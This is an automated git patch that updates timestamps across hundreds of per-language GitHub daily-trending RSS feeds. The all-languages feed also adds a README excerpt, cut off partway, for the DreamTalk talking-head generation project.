From 1de780163844dd38ef841eac137fd47eaf12e52a Mon Sep 17 00:00:00 2001 From: github-actions-bot Date: Sat, 6 Jan 2024 13:03:27 +0000 Subject: [PATCH] Updates --- 1c-enterprise/daily/index.xml | 2 +- 2-dimensional-array/daily/index.xml | 2 +- 4d/daily/index.xml | 2 +- abap-cds/daily/index.xml | 2 +- abap/daily/index.xml | 2 +- abnf/daily/index.xml | 2 +- actionscript/daily/index.xml | 2 +- ada/daily/index.xml | 2 +- adobe-font-metrics/daily/index.xml | 2 +- agda/daily/index.xml | 2 +- ags-script/daily/index.xml | 2 +- aidl/daily/index.xml | 2 +- al/daily/index.xml | 2 +- all/daily/index.xml | 32 +++++++++---------- alloy/daily/index.xml | 2 +- alpine-abuild/daily/index.xml | 2 +- altium-designer/daily/index.xml | 2 +- ampl/daily/index.xml | 2 +- angelscript/daily/index.xml | 2 +- ant-build-system/daily/index.xml | 2 +- antlr/daily/index.xml | 2 +- apacheconf/daily/index.xml | 2 +- apex/daily/index.xml | 2 +- api-blueprint/daily/index.xml | 2 +- apl/daily/index.xml | 2 +- apollo-guidance-computer/daily/index.xml | 2 +- applescript/daily/index.xml | 2 +- arc/daily/index.xml | 2 +- asciidoc/daily/index.xml | 2 +- asl/daily/index.xml | 2 +- asn.1/daily/index.xml | 2 +- asp.net/daily/index.xml | 2 +- aspectj/daily/index.xml | 2 +- assembly/daily/index.xml | 9 +----- astro/daily/index.xml | 9 +----- asymptote/daily/index.xml | 2 +- ats/daily/index.xml | 2 +- augeas/daily/index.xml | 2 +- autohotkey/daily/index.xml | 9 +++++- autoit/daily/index.xml | 2 +- avro-idl/daily/index.xml | 2 +- awk/daily/index.xml | 2 +- ballerina/daily/index.xml | 2 +- basic/daily/index.xml | 2 +- batchfile/daily/index.xml | 9 +----- beef/daily/index.xml | 2 +- befunge/daily/index.xml | 2 +- berry/daily/index.xml | 2 +- bibtex/daily/index.xml | 2 +- bicep/daily/index.xml | 9 +++++- bison/daily/index.xml | 2 +- bitbake/daily/index.xml | 2 +- blade/daily/index.xml | 9 +++++- blitzbasic/daily/index.xml | 2 +- blitzmax/daily/index.xml | 2 +- bluespec/daily/index.xml | 2 +- boo/daily/index.xml | 2 +- boogie/daily/index.xml | 2 +- brainfuck/daily/index.xml | 2 +- brightscript/daily/index.xml | 2 +- browserslist/daily/index.xml | 2 +- c%23/daily/index.xml | 9 +----- c++/daily/index.xml | 26 +++++++++++---- c-objdump/daily/index.xml | 2 +- c/daily/index.xml | 26 +++++++++++---- c2hs-haskell/daily/index.xml | 2 +- cabal-config/daily/index.xml | 2 +- cadence/daily/index.xml | 2 +- cairo/daily/index.xml | 2 +- cap'n-proto/daily/index.xml | 2 +- cartocss/daily/index.xml | 2 +- ceylon/daily/index.xml | 2 +- chapel/daily/index.xml | 2 +- charity/daily/index.xml | 2 +- chuck/daily/index.xml | 2 +- cil/daily/index.xml | 2 +- cirru/daily/index.xml | 2 +- clarion/daily/index.xml | 2 +- clarity/daily/index.xml | 2 +- classic-asp/daily/index.xml | 2 +- clean/daily/index.xml | 2 +- click/daily/index.xml | 2 +- clips/daily/index.xml | 2 +- clojure/daily/index.xml | 2 +- closure-templates/daily/index.xml | 2 +- .../daily/index.xml | 2 +- cmake/daily/index.xml | 2 +- cobol/daily/index.xml | 2 +- codeowners/daily/index.xml | 2 +- codeql/daily/index.xml | 2 +- coffeescript/daily/index.xml | 22 ++++++------- coldfusion-cfc/daily/index.xml | 2 +- coldfusion/daily/index.xml | 2 +- collada/daily/index.xml | 2 +- common-lisp/daily/index.xml | 2 +- common-workflow-language/daily/index.xml | 2 +- component-pascal/daily/index.xml | 2 +- conll-u/daily/index.xml | 2 +- cool/daily/index.xml | 2 +- coq/daily/index.xml | 2 +- cpp-objdump/daily/index.xml | 2 +- creole/daily/index.xml | 2 +- crystal/daily/index.xml | 2 +- cson/daily/index.xml | 2 +- csound-document/daily/index.xml | 2 +- csound-score/daily/index.xml | 2 +- csound/daily/index.xml | 2 +- css/daily/index.xml | 23 +------------ csv/daily/index.xml | 2 +- cuda/daily/index.xml | 9 +++++- cue/daily/index.xml | 2 +- curl-config/daily/index.xml | 2 +- curry/daily/index.xml | 2 +- cweb/daily/index.xml | 2 +- cycript/daily/index.xml | 2 +- cython/daily/index.xml | 2 +- d-objdump/daily/index.xml | 2 +- d/daily/index.xml | 2 +- dafny/daily/index.xml | 2 +- darcs-patch/daily/index.xml | 2 +- dart/daily/index.xml | 12 +++---- dataweave/daily/index.xml | 2 +- debian-package-control-file/daily/index.xml | 2 +- denizenscript/daily/index.xml | 2 +- desktop/daily/index.xml | 2 +- dhall/daily/index.xml | 2 +- diff/daily/index.xml | 2 +- digital-command-language/daily/index.xml | 2 +- dircolors/daily/index.xml | 2 +- directx-3d-file/daily/index.xml | 2 +- dm/daily/index.xml | 2 +- dns-zone/daily/index.xml | 2 +- dockerfile/daily/index.xml | 16 +--------- dogescript/daily/index.xml | 2 +- dtrace/daily/index.xml | 2 +- dylan/daily/index.xml | 2 +- e-mail/daily/index.xml | 2 +- e/daily/index.xml | 2 +- eagle/daily/index.xml | 2 +- earthly/daily/index.xml | 2 +- easybuild/daily/index.xml | 2 +- ebnf/daily/index.xml | 2 +- ec/daily/index.xml | 2 +- ecere-projects/daily/index.xml | 2 +- ecl/daily/index.xml | 2 +- eclipse/daily/index.xml | 2 +- editorconfig/daily/index.xml | 2 +- edje-data-collection/daily/index.xml | 2 +- edn/daily/index.xml | 2 +- eiffel/daily/index.xml | 2 +- ejs/daily/index.xml | 2 +- elixir/daily/index.xml | 19 ++++------- elm/daily/index.xml | 2 +- emacs-lisp/daily/index.xml | 29 ++++++++++------- emberscript/daily/index.xml | 2 +- eq/daily/index.xml | 2 +- erlang/daily/index.xml | 9 +++++- euphoria/daily/index.xml | 2 +- f%23/daily/index.xml | 2 +- f*/daily/index.xml | 2 +- factor/daily/index.xml | 2 +- fancy/daily/index.xml | 2 +- fantom/daily/index.xml | 2 +- faust/daily/index.xml | 2 +- fennel/daily/index.xml | 2 +- figlet-font/daily/index.xml | 2 +- filebench-wml/daily/index.xml | 2 +- filterscript/daily/index.xml | 2 +- fish/daily/index.xml | 2 +- fluent/daily/index.xml | 2 +- flux/daily/index.xml | 2 +- formatted/daily/index.xml | 2 +- forth/daily/index.xml | 2 +- fortran-free-form/daily/index.xml | 2 +- fortran/daily/index.xml | 2 +- freebasic/daily/index.xml | 2 +- freemarker/daily/index.xml | 2 +- frege/daily/index.xml | 2 +- futhark/daily/index.xml | 2 +- g-code/daily/index.xml | 2 +- game-maker-language/daily/index.xml | 9 +++++- gaml/daily/index.xml | 2 +- gams/daily/index.xml | 2 +- gap/daily/index.xml | 2 +- gcc-machine-description/daily/index.xml | 2 +- gdb/daily/index.xml | 2 +- gdscript/daily/index.xml | 9 +++++- gedcom/daily/index.xml | 2 +- gemfile.lock/daily/index.xml | 2 +- genie/daily/index.xml | 2 +- genshi/daily/index.xml | 2 +- gentoo-ebuild/daily/index.xml | 2 +- gentoo-eclass/daily/index.xml | 2 +- gerber-image/daily/index.xml | 2 +- gettext-catalog/daily/index.xml | 2 +- gherkin/daily/index.xml | 2 +- git-attributes/daily/index.xml | 9 +----- git-config/daily/index.xml | 2 +- gleam/daily/index.xml | 2 +- glsl/daily/index.xml | 2 +- .../daily/index.xml | 2 +- glyph/daily/index.xml | 2 +- gn/daily/index.xml | 2 +- gnuplot/daily/index.xml | 2 +- go-checksums/daily/index.xml | 2 +- go-module/daily/index.xml | 2 +- go/daily/index.xml | 12 +++---- golo/daily/index.xml | 2 +- gosu/daily/index.xml | 2 +- grace/daily/index.xml | 2 +- gradle/daily/index.xml | 2 +- grammatical-framework/daily/index.xml | 2 +- graph-modeling-language/daily/index.xml | 2 +- graphql/daily/index.xml | 2 +- graphviz-(dot)/daily/index.xml | 2 +- groovy-server-pages/daily/index.xml | 2 +- groovy/daily/index.xml | 2 +- gsc/daily/index.xml | 2 +- hack/daily/index.xml | 2 +- haml/daily/index.xml | 2 +- handlebars/daily/index.xml | 9 +----- haproxy/daily/index.xml | 2 +- harbour/daily/index.xml | 2 +- haskell/daily/index.xml | 19 ++++------- haxe/daily/index.xml | 2 +- hcl/daily/index.xml | 16 +--------- hiveql/daily/index.xml | 2 +- hlsl/daily/index.xml | 2 +- holyc/daily/index.xml | 2 +- hoon/daily/index.xml | 2 +- html+ecr/daily/index.xml | 2 +- html+eex/daily/index.xml | 2 +- html+erb/daily/index.xml | 2 +- html+php/daily/index.xml | 2 +- html+razor/daily/index.xml | 2 +- html/daily/index.xml | 19 ++++------- http/daily/index.xml | 2 +- hxml/daily/index.xml | 2 +- hy/daily/index.xml | 2 +- hyphy/daily/index.xml | 2 +- idl/daily/index.xml | 2 +- idris/daily/index.xml | 2 +- ignore-list/daily/index.xml | 2 +- igor-pro/daily/index.xml | 2 +- imagej-macro/daily/index.xml | 2 +- inform-7/daily/index.xml | 2 +- ini/daily/index.xml | 2 +- inno-setup/daily/index.xml | 2 +- io/daily/index.xml | 2 +- ioke/daily/index.xml | 2 +- irc-log/daily/index.xml | 2 +- isabelle-root/daily/index.xml | 2 +- isabelle/daily/index.xml | 2 +- j/daily/index.xml | 2 +- janet/daily/index.xml | 2 +- jar-manifest/daily/index.xml | 2 +- jasmin/daily/index.xml | 2 +- java-properties/daily/index.xml | 2 +- java-server-pages/daily/index.xml | 2 +- java/daily/index.xml | 9 +++++- javascript+erb/daily/index.xml | 2 +- javascript/daily/index.xml | 19 +++++++---- jest-snapshot/daily/index.xml | 2 +- jflex/daily/index.xml | 2 +- jinja/daily/index.xml | 2 +- jison-lex/daily/index.xml | 2 +- jison/daily/index.xml | 2 +- jolie/daily/index.xml | 2 +- jq/daily/index.xml | 2 +- json-with-comments/daily/index.xml | 2 +- json/daily/index.xml | 2 +- json5/daily/index.xml | 2 +- jsoniq/daily/index.xml | 2 +- jsonld/daily/index.xml | 2 +- jsonnet/daily/index.xml | 2 +- julia/daily/index.xml | 17 +++------- jupyter-notebook/daily/index.xml | 32 +++++++++---------- kaitai-struct/daily/index.xml | 2 +- kakounescript/daily/index.xml | 2 +- kicad-layout/daily/index.xml | 2 +- kicad-legacy-layout/daily/index.xml | 2 +- kicad-schematic/daily/index.xml | 2 +- kit/daily/index.xml | 2 +- kotlin/daily/index.xml | 2 +- krl/daily/index.xml | 2 +- kusto/daily/index.xml | 2 +- kvlang/daily/index.xml | 9 +----- labview/daily/index.xml | 2 +- lark/daily/index.xml | 2 +- lasso/daily/index.xml | 2 +- latte/daily/index.xml | 2 +- lean/daily/index.xml | 2 +- less/daily/index.xml | 2 +- lex/daily/index.xml | 2 +- lfe/daily/index.xml | 2 +- ligolang/daily/index.xml | 2 +- lilypond/daily/index.xml | 2 +- limbo/daily/index.xml | 2 +- linker-script/daily/index.xml | 2 +- linux-kernel-module/daily/index.xml | 2 +- liquid/daily/index.xml | 2 +- literate-agda/daily/index.xml | 2 +- literate-coffeescript/daily/index.xml | 2 +- literate-haskell/daily/index.xml | 2 +- livescript/daily/index.xml | 2 +- llvm/daily/index.xml | 2 +- logos/daily/index.xml | 2 +- logtalk/daily/index.xml | 2 +- lolcode/daily/index.xml | 2 +- lookml/daily/index.xml | 2 +- loomscript/daily/index.xml | 2 +- lsl/daily/index.xml | 2 +- ltspice-symbol/daily/index.xml | 2 +- lua/daily/index.xml | 32 +++++++++---------- m/daily/index.xml | 2 +- m4/daily/index.xml | 2 +- m4sugar/daily/index.xml | 2 +- macaulay2/daily/index.xml | 2 +- makefile/daily/index.xml | 22 ++++++------- mako/daily/index.xml | 2 +- markdown/daily/index.xml | 9 +++++- marko/daily/index.xml | 2 +- mask/daily/index.xml | 2 +- mathematica/daily/index.xml | 2 +- matlab/daily/index.xml | 9 +++++- maven-pom/daily/index.xml | 2 +- max/daily/index.xml | 2 +- maxscript/daily/index.xml | 2 +- mcfunction/daily/index.xml | 2 +- mercury/daily/index.xml | 2 +- meson/daily/index.xml | 2 +- metal/daily/index.xml | 2 +- .../daily/index.xml | 2 +- .../daily/index.xml | 2 +- minid/daily/index.xml | 2 +- mint/daily/index.xml | 2 +- mirah/daily/index.xml | 2 +- mirc-script/daily/index.xml | 2 +- mlir/daily/index.xml | 2 +- modelica/daily/index.xml | 2 +- modula-2/daily/index.xml | 2 +- modula-3/daily/index.xml | 2 +- module-management-system/daily/index.xml | 2 +- monkey-c/daily/index.xml | 2 +- monkey/daily/index.xml | 2 +- moocode/daily/index.xml | 2 +- moonscript/daily/index.xml | 9 +++++- motoko/daily/index.xml | 2 +- motorola-68k-assembly/daily/index.xml | 2 +- mql4/daily/index.xml | 2 +- mql5/daily/index.xml | 2 +- mtml/daily/index.xml | 2 +- muf/daily/index.xml | 2 +- mupad/daily/index.xml | 2 +- muse/daily/index.xml | 2 +- mustache/daily/index.xml | 2 +- myghty/daily/index.xml | 2 +- nanorc/daily/index.xml | 2 +- nasl/daily/index.xml | 2 +- ncl/daily/index.xml | 2 +- nearley/daily/index.xml | 2 +- nemerle/daily/index.xml | 2 +- neon/daily/index.xml | 2 +- nesc/daily/index.xml | 2 +- netlinx+erb/daily/index.xml | 2 +- netlinx/daily/index.xml | 2 +- netlogo/daily/index.xml | 2 +- newlisp/daily/index.xml | 2 +- nextflow/daily/index.xml | 2 +- nginx/daily/index.xml | 2 +- nim/daily/index.xml | 9 +++++- ninja/daily/index.xml | 2 +- nit/daily/index.xml | 2 +- nix/daily/index.xml | 2 +- nl/daily/index.xml | 2 +- npm-config/daily/index.xml | 2 +- nsis/daily/index.xml | 2 +- nu/daily/index.xml | 2 +- numpy/daily/index.xml | 2 +- nunjucks/daily/index.xml | 2 +- nwscript/daily/index.xml | 2 +- objdump/daily/index.xml | 2 +- object-data-instance-notation/daily/index.xml | 2 +- objective-c++/daily/index.xml | 2 +- objective-c/daily/index.xml | 2 +- objective-j/daily/index.xml | 2 +- objectscript/daily/index.xml | 2 +- ocaml/daily/index.xml | 9 +++++- odin/daily/index.xml | 2 +- omgrofl/daily/index.xml | 2 +- ooc/daily/index.xml | 2 +- opa/daily/index.xml | 2 +- opal/daily/index.xml | 2 +- open-policy-agent/daily/index.xml | 2 +- opencl/daily/index.xml | 2 +- openedge-abl/daily/index.xml | 2 +- openqasm/daily/index.xml | 2 +- openrc-runscript/daily/index.xml | 2 +- openscad/daily/index.xml | 2 +- openstep-property-list/daily/index.xml | 2 +- opentype-feature-file/daily/index.xml | 2 +- org/daily/index.xml | 2 +- ox/daily/index.xml | 2 +- oxygene/daily/index.xml | 2 +- oz/daily/index.xml | 2 +- p4/daily/index.xml | 2 +- pan/daily/index.xml | 2 +- papyrus/daily/index.xml | 2 +- parrot-assembly/daily/index.xml | 2 +- .../daily/index.xml | 2 +- parrot/daily/index.xml | 2 +- pascal/daily/index.xml | 2 +- pawn/daily/index.xml | 2 +- peg.js/daily/index.xml | 2 +- pep8/daily/index.xml | 2 +- perl/daily/index.xml | 2 +- php/daily/index.xml | 9 +++++- pic/daily/index.xml | 2 +- pickle/daily/index.xml | 2 +- picolisp/daily/index.xml | 2 +- piglatin/daily/index.xml | 2 +- pike/daily/index.xml | 2 +- plantuml/daily/index.xml | 2 +- plpgsql/daily/index.xml | 2 +- plsql/daily/index.xml | 2 +- pod-6/daily/index.xml | 2 +- pod/daily/index.xml | 2 +- pogoscript/daily/index.xml | 2 +- pony/daily/index.xml | 2 +- postcss/daily/index.xml | 2 +- postscript/daily/index.xml | 2 +- pov-ray-sdl/daily/index.xml | 2 +- powerbuilder/daily/index.xml | 2 +- powershell/daily/index.xml | 12 +++---- prisma/daily/index.xml | 2 +- processing/daily/index.xml | 9 +++++- procfile/daily/index.xml | 2 +- proguard/daily/index.xml | 2 +- prolog/daily/index.xml | 2 +- promela/daily/index.xml | 2 +- propeller-spin/daily/index.xml | 2 +- protocol-buffer-text-format/daily/index.xml | 2 +- protocol-buffer/daily/index.xml | 2 +- public-key/daily/index.xml | 2 +- pug/daily/index.xml | 2 +- puppet/daily/index.xml | 9 +++++- pure-data/daily/index.xml | 2 +- purebasic/daily/index.xml | 2 +- purescript/daily/index.xml | 2 +- python-console/daily/index.xml | 2 +- python-traceback/daily/index.xml | 2 +- python/daily/index.xml | 32 +++++++++---------- q%23/daily/index.xml | 2 +- q/daily/index.xml | 2 +- qmake/daily/index.xml | 2 +- qml/daily/index.xml | 2 +- qt-script/daily/index.xml | 2 +- quake/daily/index.xml | 2 +- r/daily/index.xml | 2 +- racket/daily/index.xml | 2 +- ragel/daily/index.xml | 2 +- raku/daily/index.xml | 2 +- raml/daily/index.xml | 2 +- rascal/daily/index.xml | 2 +- raw-token-data/daily/index.xml | 2 +- rdoc/daily/index.xml | 2 +- readline-config/daily/index.xml | 2 +- realbasic/daily/index.xml | 2 +- reason/daily/index.xml | 2 +- rebol/daily/index.xml | 2 +- record-jar/daily/index.xml | 2 +- red/daily/index.xml | 2 +- redcode/daily/index.xml | 2 +- redirect-rules/daily/index.xml | 2 +- regular-expression/daily/index.xml | 2 +- ren'py/daily/index.xml | 2 +- renderscript/daily/index.xml | 2 +- rescript/daily/index.xml | 2 +- restructuredtext/daily/index.xml | 2 +- rexx/daily/index.xml | 2 +- rich-text-format/daily/index.xml | 2 +- ring/daily/index.xml | 2 +- riot/daily/index.xml | 2 +- rmarkdown/daily/index.xml | 2 +- robotframework/daily/index.xml | 2 +- robots.txt/daily/index.xml | 2 +- roff-manpage/daily/index.xml | 2 +- roff/daily/index.xml | 2 +- rouge/daily/index.xml | 2 +- rpc/daily/index.xml | 2 +- rpgle/daily/index.xml | 2 +- rpm-spec/daily/index.xml | 2 +- ruby/daily/index.xml | 9 +++++- runoff/daily/index.xml | 2 +- rust/daily/index.xml | 22 ++++++------- sage/daily/index.xml | 2 +- saltstack/daily/index.xml | 2 +- sas/daily/index.xml | 2 +- sass/daily/index.xml | 2 +- scala/daily/index.xml | 9 +++++- scaml/daily/index.xml | 2 +- scheme/daily/index.xml | 2 +- scilab/daily/index.xml | 2 +- scss/daily/index.xml | 9 +++++- sed/daily/index.xml | 2 +- self/daily/index.xml | 2 +- selinux-policy/daily/index.xml | 2 +- shaderlab/daily/index.xml | 2 +- shell/daily/index.xml | 16 +--------- shellcheck-config/daily/index.xml | 2 +- shellsession/daily/index.xml | 2 +- shen/daily/index.xml | 2 +- sieve/daily/index.xml | 2 +- singularity/daily/index.xml | 2 +- slash/daily/index.xml | 2 +- slice/daily/index.xml | 2 +- slim/daily/index.xml | 2 +- smali/daily/index.xml | 2 +- smalltalk/daily/index.xml | 2 +- smarty/daily/index.xml | 2 +- smpl/daily/index.xml | 2 +- smt/daily/index.xml | 2 +- solidity/daily/index.xml | 12 +++---- soong/daily/index.xml | 2 +- sourcepawn/daily/index.xml | 2 +- sparql/daily/index.xml | 2 +- spline-font-database/daily/index.xml | 2 +- sqf/daily/index.xml | 2 +- sql/daily/index.xml | 2 +- sqlpl/daily/index.xml | 2 +- squirrel/daily/index.xml | 2 +- srecode-template/daily/index.xml | 2 +- ssh-config/daily/index.xml | 2 +- stan/daily/index.xml | 2 +- standard-ml/daily/index.xml | 2 +- starlark/daily/index.xml | 2 +- stata/daily/index.xml | 2 +- ston/daily/index.xml | 2 +- stringtemplate/daily/index.xml | 2 +- stylus/daily/index.xml | 2 +- subrip-text/daily/index.xml | 2 +- sugarss/daily/index.xml | 2 +- supercollider/daily/index.xml | 2 +- svelte/daily/index.xml | 12 +++---- svg/daily/index.xml | 2 +- swift/daily/index.xml | 2 +- swig/daily/index.xml | 2 +- systemverilog/daily/index.xml | 2 +- talon/daily/index.xml | 2 +- tcl/daily/index.xml | 9 +++++- tcsh/daily/index.xml | 2 +- tea/daily/index.xml | 2 +- terra/daily/index.xml | 2 +- tex/daily/index.xml | 16 +++++++++- texinfo/daily/index.xml | 2 +- text/daily/index.xml | 2 +- textile/daily/index.xml | 2 +- textmate-properties/daily/index.xml | 2 +- thrift/daily/index.xml | 2 +- ti-program/daily/index.xml | 2 +- tla/daily/index.xml | 2 +- toml/daily/index.xml | 2 +- tsql/daily/index.xml | 2 +- tsv/daily/index.xml | 2 +- tsx/daily/index.xml | 2 +- turing/daily/index.xml | 2 +- turtle/daily/index.xml | 2 +- twig/daily/index.xml | 2 +- txl/daily/index.xml | 2 +- type-language/daily/index.xml | 2 +- typescript/daily/index.xml | 26 +++++++++++---- unified-parallel-c/daily/index.xml | 2 +- unity3d-asset/daily/index.xml | 2 +- unix-assembly/daily/index.xml | 2 +- unknown/daily/index.xml | 30 +++++------------ uno/daily/index.xml | 2 +- unrealscript/daily/index.xml | 2 +- urweb/daily/index.xml | 2 +- v/daily/index.xml | 2 +- vala/daily/index.xml | 2 +- valve-data-format/daily/index.xml | 2 +- vba/daily/index.xml | 2 +- vbscript/daily/index.xml | 2 +- vcl/daily/index.xml | 2 +- verilog/daily/index.xml | 9 +++++- vhdl/daily/index.xml | 2 +- vim-help-file/daily/index.xml | 2 +- vim-script/daily/index.xml | 16 +++++++++- vim-snippet/daily/index.xml | 2 +- visual-basic-.net/daily/index.xml | 2 +- volt/daily/index.xml | 2 +- vue/daily/index.xml | 12 +++---- vyper/daily/index.xml | 2 +- wavefront-material/daily/index.xml | 2 +- wavefront-object/daily/index.xml | 2 +- wdl/daily/index.xml | 2 +- web-ontology-language/daily/index.xml | 2 +- webassembly/daily/index.xml | 2 +- webidl/daily/index.xml | 2 +- webvtt/daily/index.xml | 2 +- wget-config/daily/index.xml | 2 +- wikitext/daily/index.xml | 2 +- windows-registry-entries/daily/index.xml | 2 +- wisp/daily/index.xml | 2 +- witcher-script/daily/index.xml | 2 +- wollok/daily/index.xml | 2 +- world-of-warcraft-addon-data/daily/index.xml | 2 +- x-bitmap/daily/index.xml | 2 +- x-font-directory-index/daily/index.xml | 2 +- x-pixmap/daily/index.xml | 2 +- x10/daily/index.xml | 2 +- xbase/daily/index.xml | 2 +- xc/daily/index.xml | 2 +- xcompose/daily/index.xml | 2 +- xml-property-list/daily/index.xml | 2 +- xml/daily/index.xml | 2 +- xojo/daily/index.xml | 2 +- xonsh/daily/index.xml | 2 +- xpages/daily/index.xml | 2 +- xproc/daily/index.xml | 2 +- xquery/daily/index.xml | 2 +- xs/daily/index.xml | 2 +- xslt/daily/index.xml | 9 +++++- xtend/daily/index.xml | 2 +- yacc/daily/index.xml | 2 +- yaml/daily/index.xml | 2 +- yang/daily/index.xml | 2 +- yara/daily/index.xml | 2 +- yasnippet/daily/index.xml | 2 +- zap/daily/index.xml | 2 +- zeek/daily/index.xml | 2 +- zenscript/daily/index.xml | 2 +- zephir/daily/index.xml | 2 +- zig/daily/index.xml | 2 +- zil/daily/index.xml | 2 +- zimpl/daily/index.xml | 2 +- 636 files changed, 1050 insertions(+), 966 deletions(-) diff --git a/1c-enterprise/daily/index.xml b/1c-enterprise/daily/index.xml index b6616090f19..144ad88af5a 100644 --- a/1c-enterprise/daily/index.xml +++ b/1c-enterprise/daily/index.xml @@ -1,7 +1,7 @@ GitHub 1C Enterprise Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:26:30Z + 2024-01-06T01:25:22Z Daily Trending of 1C Enterprise in GitHub \ No newline at end of file diff --git a/2-dimensional-array/daily/index.xml b/2-dimensional-array/daily/index.xml index 45fce46774e..50de46794a6 100644 --- a/2-dimensional-array/daily/index.xml +++ b/2-dimensional-array/daily/index.xml @@ -1,7 +1,7 @@ GitHub 2-Dimensional Array Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:26:56Z + 2024-01-06T01:25:41Z Daily Trending of 2-Dimensional Array in GitHub \ No newline at end of file diff --git a/4d/daily/index.xml b/4d/daily/index.xml index efdd2bcb682..390cbff9f08 100644 --- a/4d/daily/index.xml +++ b/4d/daily/index.xml @@ -1,7 +1,7 @@ GitHub 4D Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:26:55Z + 2024-01-06T01:25:40Z Daily Trending of 4D in GitHub \ No newline at end of file diff --git a/abap-cds/daily/index.xml b/abap-cds/daily/index.xml index f8f3d2c8baf..4c6918adafe 100644 --- a/abap-cds/daily/index.xml +++ b/abap-cds/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABAP CDS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:26:55Z + 2024-01-06T01:25:42Z Daily Trending of ABAP CDS in GitHub \ No newline at end of file diff --git a/abap/daily/index.xml b/abap/daily/index.xml index 8a6755de1ab..391c8168291 100644 --- a/abap/daily/index.xml +++ b/abap/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:26:57Z + 2024-01-06T01:25:39Z Daily Trending of ABAP in GitHub \ No newline at end of file diff --git a/abnf/daily/index.xml b/abnf/daily/index.xml index f2be2fa0494..1a77294cffc 100644 --- a/abnf/daily/index.xml +++ b/abnf/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABNF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:26:58Z + 2024-01-06T01:25:47Z Daily Trending of ABNF in GitHub \ No newline at end of file diff --git a/actionscript/daily/index.xml b/actionscript/daily/index.xml index 943a2d5a808..d50191a2c28 100644 --- a/actionscript/daily/index.xml +++ b/actionscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ActionScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:01Z + 2024-01-06T01:25:44Z Daily Trending of ActionScript in GitHub \ No newline at end of file diff --git a/ada/daily/index.xml b/ada/daily/index.xml index fac68384b39..9cb44ef76c4 100644 --- a/ada/daily/index.xml +++ b/ada/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ada Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:00Z + 2024-01-06T01:25:43Z Daily Trending of Ada in GitHub \ No newline at end of file diff --git a/adobe-font-metrics/daily/index.xml b/adobe-font-metrics/daily/index.xml index cda475fbda4..2fa326b602d 100644 --- a/adobe-font-metrics/daily/index.xml +++ b/adobe-font-metrics/daily/index.xml @@ -1,7 +1,7 @@ GitHub Adobe Font Metrics Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:03Z + 2024-01-06T01:25:52Z Daily Trending of Adobe Font Metrics in GitHub \ No newline at end of file diff --git a/agda/daily/index.xml b/agda/daily/index.xml index b2c4bd3a111..cc744c2a9f6 100644 --- a/agda/daily/index.xml +++ b/agda/daily/index.xml @@ -1,7 +1,7 @@ GitHub Agda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:04Z + 2024-01-06T01:25:48Z Daily Trending of Agda in GitHub \ No newline at end of file diff --git a/ags-script/daily/index.xml b/ags-script/daily/index.xml index 4c3104fd1a2..c86e2f32cfc 100644 --- a/ags-script/daily/index.xml +++ b/ags-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub AGS Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:03Z + 2024-01-06T01:25:49Z Daily Trending of AGS Script in GitHub \ No newline at end of file diff --git a/aidl/daily/index.xml b/aidl/daily/index.xml index 6377250a99a..b9d42f318ae 100644 --- a/aidl/daily/index.xml +++ b/aidl/daily/index.xml @@ -1,7 +1,7 @@ GitHub AIDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:05Z + 2024-01-06T01:25:51Z Daily Trending of AIDL in GitHub \ No newline at end of file diff --git a/al/daily/index.xml b/al/daily/index.xml index 319320eb704..c62dad05808 100644 --- a/al/daily/index.xml +++ b/al/daily/index.xml @@ -1,7 +1,7 @@ GitHub AL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:09Z + 2024-01-06T01:25:55Z Daily Trending of AL in GitHub \ No newline at end of file diff --git a/all/daily/index.xml b/all/daily/index.xml index 32401179c77..1e9bd75ba73 100644 --- a/all/daily/index.xml +++ b/all/daily/index.xml @@ -1,28 +1,28 @@ GitHub All Languages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:26:39Z + 2024-01-06T01:25:31Z Daily Trending of All Languages in GitHub - ali-vilab/dreamtalk - 2024-01-05T01:26:39Z - tag:github.com,2024-01-05:/ali-vilab/dreamtalk - - <p>Official implementations for paper: DreamTalk: When Expressive Talking Head Generation Meets Diffusion Probabilistic Models</p><hr><h2 align="center">DreamTalk: When Expressive Talking Head Generation <br> Meets Diffusion Probabilistic Models</h2> <p align="center"> <a href="https://dreamtalk-project.github.io/"><img src="https://img.shields.io/badge/Project-Page-Green"></a> <a href="https://arxiv.org/abs/2312.09767"><img src="https://img.shields.io/badge/Paper-Arxiv-red"></a> <a href="https://youtu.be/VF4vlE6ZqWQ"><img src="https://badges.aleen42.com/src/youtube.svg?sanitize=true"></a> </p> <p><img src="https://raw.githubusercontent.com/ali-vilab/dreamtalk/main/media/teaser.gif" alt="teaser" title="teaser"></p> <p>DreamTalk is a diffusion-based audio-driven expressive talking head generation framework that can produce high-quality talking head videos across diverse speaking styles. DreamTalk exhibits robust performance with a diverse array of inputs, including songs, speech in multiple languages, noisy audio, and out-of-domain portraits.</p> <h2>News</h2> <ul> <li><strong>[2023.12]</strong> Release inference code and pretrained checkpoint.</li> </ul> <h2>Installation</h2> <pre><code>conda create -n dreamtalk python=3.7.0 conda activate dreamtalk pip install -r requirements.txt conda install pytorch==1.8.0 torchvision==0.9.0 torchaudio==0.8.0 cudatoolkit=11.1 -c pytorch -c conda-forge conda update ffmpeg pip install urllib3==1.26.6 pip install transformers==4.28.1 pip install dlib </code></pre> <h2>Download Checkpoints</h2> <p>Download the checkpoint of the denoising 